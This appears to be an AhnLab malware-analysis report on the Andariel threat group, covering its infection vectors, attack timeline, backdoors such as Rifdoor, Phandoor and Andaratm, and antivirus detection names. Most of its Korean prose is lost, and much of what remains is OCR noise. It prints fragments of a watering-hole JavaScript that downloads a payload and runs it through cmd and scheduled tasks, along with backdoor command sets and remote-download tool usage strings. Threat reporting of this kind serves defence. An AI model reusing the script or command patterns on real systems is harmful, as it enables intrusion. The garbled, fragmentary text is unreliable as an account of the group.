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(Andariel Group) (Lazarus)
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, 2015
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(Spear Phishing), X(Active-X)
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[ 2]

(Infection Vector)

Spear Phishing
(Macro)

(Spear Phishing)

2015

2015
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[ 2] 2015
2017 [ 3]
[ 3] 2017
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2018 5 (HWP)

2. (ActiveX )

(Watering-hole)

IP (IP Address) ,

VB

{unctiun get XMLHt t pRequest ()
try{return new ActiveXObject( "Msxml2 XMLHTTP.6.0°);}
catch(el)}try{return new ﬂctiveXOhjectE"MsmeE.XHLHTTP.E.D"J:}
catch{e2){tryireturn new ActiveXObject("Msxml|2, XMLHTTP.4.0");}
catchie3){tryireturn new ActiveXObject("Msxml|2.XMLHTTP,3.0"):}
catch{ed){try{return new ActiveXObject( "Msum|2. XMLHTTP");}
catch{eS){tryireturn new ActiveXObject ("Microsoft XHLHTTP");}

\ catch(eB){return null:} ikt

var x=getXMLHttpRequest();

var S=new ActiveXObject("ADODB.Stream”);

3. Type=1;

ke Rrgn L dendr it tas-i frsaenpl . N1

var d = new Date()

var Hours = d.getHours():

ear Minutes = d.getMinutes() ;Mmutes += 1;

var str =" Jfocat 7 + Hours + "7 o+ Minutes + 7 " +—fnl:
sar D=now ActiveXObject("Shall.ipplication™); — _ - . —
1.9nel [Executel o W¥yindowst¥systendPond exe”, [/c "(scho HZR tyee "+ fn2.« '3 > + fnl + ™", *", “epen’, 0k
J.She[IEkecuta{“c:#ﬁ@indawsﬁﬁsystauﬂﬂ%%cmd.5xs“*5;r,’“,‘upuu“,d}. —

1.80e i | Erecutel "o Wiy indowsi¥avet enld28ond . exa”, "o del C-fwindowsiiftenpiiupdate, fo",

*, “omen”, 03;

[ 4]

MZ , MZ
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PC
(NAQ), (Anti-virus),
: (PMS) , IT , , ,
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v3pscan.exe

2015
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.DBLBCEDRD: ) ) ) 28

.BB4BCEL1D: ) ) ) A% & } [FILE_RE
.BBLBCE20: ) ) ) MOTE_FXEC1MIFILE
.BB4BCE30: ) ) ) _PATH=C : \WINDOWS
.BB4OCEAD: ) ) : MIFILE_NAME=Y3PS
.BB4ABCESA : ) ) ) can.exe MIFILE CO
ARARACEAA: 4D AN 41 AF A4 ] AF 5f _ = .

SRS FILF Ths
: : TR

itk L I W 4 " | 'y L] : [£h 7 M 1 % it y L ih R
90 oy A A3 % ] A A . 5D L[ JOBINFOEX 1 2 JOgS

ACEAB : ORI SRSC S RSN DR RSO RS2 R IR BENDER=0IEPRIORIEE

ACEBG: san bl Be6 800 S0 (1Y) 00.00 00 00 00.00 @g =1 :

OCECO: 0O 00 00 0O.00 00 0O 00.00 06 VO 00.06 O

B 2015 2017
, nc.exe, nt.exe, n5lic.exe, ncbrt2.exe, Bin.exe . vsl.vbs, winrm.vbs VB
2015 2017 IP P

c = suworkine
Uzageimain.exe ServerlIP,. TargetIP,. DownloadlUrl., RemoteFilePath, [vhScriptPath=c:
~urindowsstempswinkm.vhsInvalid License.Try Again

cworkinchrt?
Uzage main.exe LICENSE TargetIP,. PORT. Downloadlrl, RemoteFilePath,. [uvhScriptPat
h=c :“windows“temnp*uwinrm.vhs

c :workrbin

Uzage :main.exe License TargetIP,. Downloadlrl., RemoteFilePath, [vwhScriptPath=c:su
indowsstemp~vsl.vhs

C 2 wuork

C 2016 9

© AhnLab, Inc. All rights reserved 9
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Ssarorkx
TargetIP TargetPort commandType argl arg?2 arg3
fendFile calc.exe Atmp-scalc.tmp
GetFile stmpscalc.tmp c:istempscalc.exe

Scan
Update
Run c:windows“notepad.exe 1.txt system{administratord
Reztart
Serverlpdate
[ 9] C
4, (Supply Chain)
IP
2015 (Seoul International Aerospace & Defense Exhibition,
ADEX) . ADEX 1996
Rifdoor
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2015 7
2015 11 ADEX
2016 2
2015 11
2016 2 DRM
2016 4 ICT
2016 6
2016 8
2016 10
2017 1 PC
ATM
2017 3 (
ATM
2016 11
2017 3
(
2017 4 2
2017 5 A
2017 6
2017 10
2017 9
A
2017 12
2017 12 ICT ERP
2017 12
2018 2
2018 4 ERP B
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2016 2
2016 4 , , ICT
Ghostrat . 2016 6
: ‘ (Operation Ghost Rat)’ 2 Ghostrat
4
2016 8
4 2016
10
PC
2017 3 ATM
, 2016
2017 5 7
2017 10 , 5
. 2017 12 A ERP
J ERP

2 http://news.joins.com/article/19706272

DRM

A
GhostRat

. 2017

2 2016

12

3 http:.//www.yonhapnews.co.kr/northkorea/2016/06/13/1801000000AKR20160613092851004.HTML

4 http://www.etnews.com/20161001000007

5 http://news.khan.co.kr/kh_news/khan_art_view.html?artid=201709061203001&code=940100

6 http.//news.chosun.com/site/data/html_dir/2017/10/17/2017101703770.htm|

7 http:.//www.ddaily.co.kr/news/article.ntml?no=164197

. 2016

11
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2017 12 . 2018 1
, 2018 2
8
2017 ATM , 6
1. - (Backdoor)
Andarat, Andaratm, Phandoor, Rifdoor Aryan, Ghostrat
1.1) Aryan
Arayan 2015 , ‘F**k Hack Hound!

1

fhesd o 3
[ 10] Aryan
1.2) Ghostrat
Ghostrat , . 2015
2016 ,
Themida

8 https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=27000
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.B04BoFBO:

.B04BOFCO:

.004BSFDO:

.B04BSFED:

.004BSFFO: : . : _
00082000 : : . : NB1@ LraUs

BOBB2010: ) ; ) C:\GhostContoler
BORB2620 ) ; ) “Copy of ghBst3.
BOBB2630: ) ; ) 6_srchghBst\Rele
AROB2040 - ) ) ) asel\ghost.pdbll

[ 11] Ghostrat

wrms o] g [ s | b PR | [REFPERSR. . eoess:

@gém [
AlRrEE
=

RERE
A B PR

S Canneotions = jES TGRS, Gl |

192516851599128

onylafithelpragraroitaldisplayithelserer e ation

WCErRections
22— S:90:001k

[ 12]
1.3) Rifdoor
Rifdoor 2015 11 , 2016 . Rifdoor 2015
(SEOUL ADEX) , 2016

Rifdoor PDB ‘E:\Data\My Projects\Troy Source Code\tcplst\rifle\Release\rifle.pdb’

Ahnl_ab © AhnLab, Inc. All rights reserved. 14
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.ODAOELED:

.OD4AOELFD:

.0040ES00: : : :

.B040ESH10: : : : ¥ RSDS=419
.BD4OES20: : : : 6; nEG# }Boyir?

.BBABES3T0: ) ) ) E:\Data\My Proje
.BRABESAD : ) ) ) ctshTroy Source
.BRLBESSHA : ) ) ) CodeMteplstirifl
.BRABESGH : ) ) ) e\Release\rifle.
.DRLBES /A ) ) pdb |

.BB4LOESS0 :

[ 13] Rifdoor PDB

Rifdoor 4 (garbage data)

rfile.exe

[ 14]
[ 2] Rifdoor
$interval
$downloadexec
$download
( ) Cmd.exe
[ 2] Rifdoor
Rifdoor [ 3] PDB

AhnLab © AhnLab, Inc. All rights reserved 15
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C:\Users\C8\Desktop\rifle\Release\rifle.pdb
E:\Data\ My Projects\Troy Source Code\tcplst\rifle\Release\rifle.pdb

E:\Data\ My Projects\Troy Source Code\tcplst\server\Release\server.pdb

[ 3] Rifdoor PDB
1.4) Phandoor
Phandoor 2016 1 2017 . ‘SN
(S"™%s\cmd.exe, S*"nehomegpa.dll’ ). 2017 ‘Anonymous?’

L004111EG: 50 E]@ o4 00.24 00 80 00.93 oF 20 73.0C 63 6D 6 UT $ S'%s\cmd
EQ- 78 A5 o0 OF A3 2N a.0n n _ :

[ 15] Phandoor (™

Phandoor C&C . ‘Anonymous?’

Ul = Eunuert_hﬂBBEﬂ{"S“nnunymuus?"};

strcpy_s{&Dst, 6x1Bu, ul});

strcat_s{&Dst, @x1Bu, dword_ A4458CH);

if { send 483878(0x1Au, B, 1, B, &Dst) == -1 || select 4831AB(fd) == -1 }
return 8;

U3 = dword_42S50AE8;

decode_482EF B(dword_4258A0, dword_42589C, dword_4250Aa8, (int)buf);

if ( *{ BYTE)wCommand 4258a4% && v2 == 18 )

{

ul
us

Eunuert_HBEBEﬂ{"S“HnunyNDUS?"};
buf;

[ 16] Anonymous

© AhnLab, Inc. All rights reserved. 16
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C&C cmd.exe

0x9

OxA
0xB
0x10

0x12 nehomegpa.dll

0x19
Ox1A
0x1B

[ 4] Phandoor

1.5) Andaratm

Andaratm 2016 , 2017 ATMe , 2018
. 2016 2018 5 18

Andaratm ‘%s\cmd.exe /c echo | %s > %S, ‘%s*****0s’

.BBLBEAGD: ) .65 14 00 _addr socket
.DRLBELTO: ) 6D 64 2E connect %s\cmd.e
.DRLBEASO: ) 20 25 13 ¥e /c echo | ¥%s
.D0LBEL90: 0. A2 @2 @@ > #s_ “un rb

mom o e pn -

[ 17] Andaratm

Andaratm . C2

, Andaratm

Ahnl_ab © AhnLab, Inc. All rights reserved. 17
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cisuorkr=con
“ipy <“port>

c-wworkrzcon 127.8.8.1 1828
ok?
c-wworkrzcon 127.80.8.1 898

no?

Csworki

[ 20] Zcon.exe

Crash.exe, Test.exe

, Zcon.exe

AhnLab © AhnLab, Inc. All rights reserved
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',..l Fake\\\staler
)/ exploit

MR
Management
Product B

Cryptocurrenc: .
ravel E)r(}:‘:lt)wan Game Major )
gency | Users Companies

217 xxx.208 (CA)

2015 2017

[ 22]12015 ( )

Defense wMilitary
m

2017 ()

M Energy
Research
Institute

Financial ~ Financial

1
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may b1, [edi+tesi]
®or b1, d1

®or b1, al

®or b1, cl

mav [esi], bl

mow b1, al

sor b1, cl

and b1, d1

mov edx, [ebp+var_4]
lea edi, ds:0[ed=x+8]
wor edi, eds

and edi, TFah

sh1 edi, 14h

shr edx, B

or eds, edi

laa edi, [eax+asx]
wOT a2di, eax

and el, al

sl adi, &

R sl |,

SR =1 )
s e T i —
arc el VEREFERE fh—o
ELE R
i

ezl ey . Lif

mov b1, [edi+esi] mov b1, [editesi]

Hor b1, dl ®or 1,

®or b1, al =or b1, al

wor b1, cl =or b1, cl

mov [esi], bl mov [e=1], bl

mow b1, al now b1, al

¥or b1, cl wor bl, el

and b1, dl and b1, dl

mov dl, al now dl, al

and dl, cl and dl, cl

Hor b1, dl wor b1, dl

mov edx, [espslChevar_C][|mov edx, [esp+l8h+var 8]
mov cl, bl mnoy N

[=ES ebx, de:0[ed<=8] Tea ebx, ds:0[ed«*8]
wor ebx, edx wor ebx, edx

and ebx, 7FEh and ebx, TFEh

shl ehe, 1dh =hl ahx, 14b

shr wdx, & ah adi, &

or arhe, 5D ar ek, ebx

laa ehw, [eudeen] laz Fhucy [enwtaan

sar = o e mar———
il ey, 4 mhl e, 4

T S e S sTor shir, EER—
(s =5l == i stin., ean

anick Tine—TF FF=FE0R amd e IF HECFFEDh

S e :

s elp:. elp

<V3

-
mow b1, [edi+esi] mov b1, [edi+esi]
wor b1, d1 wor b1, dl
wor b1, al wor b1, al
wor b1, ¢l Hor b, ¢l
mov [esi], b1 mov [esi], b1
mow b1, al o b1, al
#or b1, el or b, el
and b1, dl and bl dl
mow edx, [ebp+var_4] o d}’ a}
lea edi, ds:0[edx+8] igg g]’ 3]
wor edi, edx . ’ Slhsar 1
and Ed'! " Fen :g; ETT,DEQQPJ—L_DMGP__UC]
sh1 edi, l4h lea b, de:0fadwd]
shr edx, 8 wor by, e
or edx, edi and sbx, TF8h
les wdi, [eartean] s obm, 14h
s @3, sad i atds, 8
and e¢l, al o ey eho "
Bl (s s ey, [eiuams
sror i, sum it 20y B
o ®l, BT & B
hirer s ———h Sl Sty o
nd wdi S TFFFRFFE 0D | e -
whr, T
edi, shx
edi, Wik

V3

>

- Trojan/Win32.Phandoor (2016.01.13.00)
- Trojan/Win32.Andaratm (2018.05.03.00)
- W97M/Downloader (2017.11.03.00)

- Backdoor/Win32.Aryan (2015.12.23.00)
- Dropper/Win32.Fakeinstaller (2017.01.02.09)
- Trojan/Win32.HackTool (2017.06.27.03)
- Trojan/Win32.Andarat (2017.10.27.03)

- HackTool/Win32.Malsender (2017.04.17.04)

- Trojan/Win32.Rifdoor (2015.12.23.04)
- X97M/Downloader (2015.12.24.05)

Ahnl_ab © AhnLab, Inc. All rights reserved.

21



Analysis Report_Andariel Threat Group

2016
(target)
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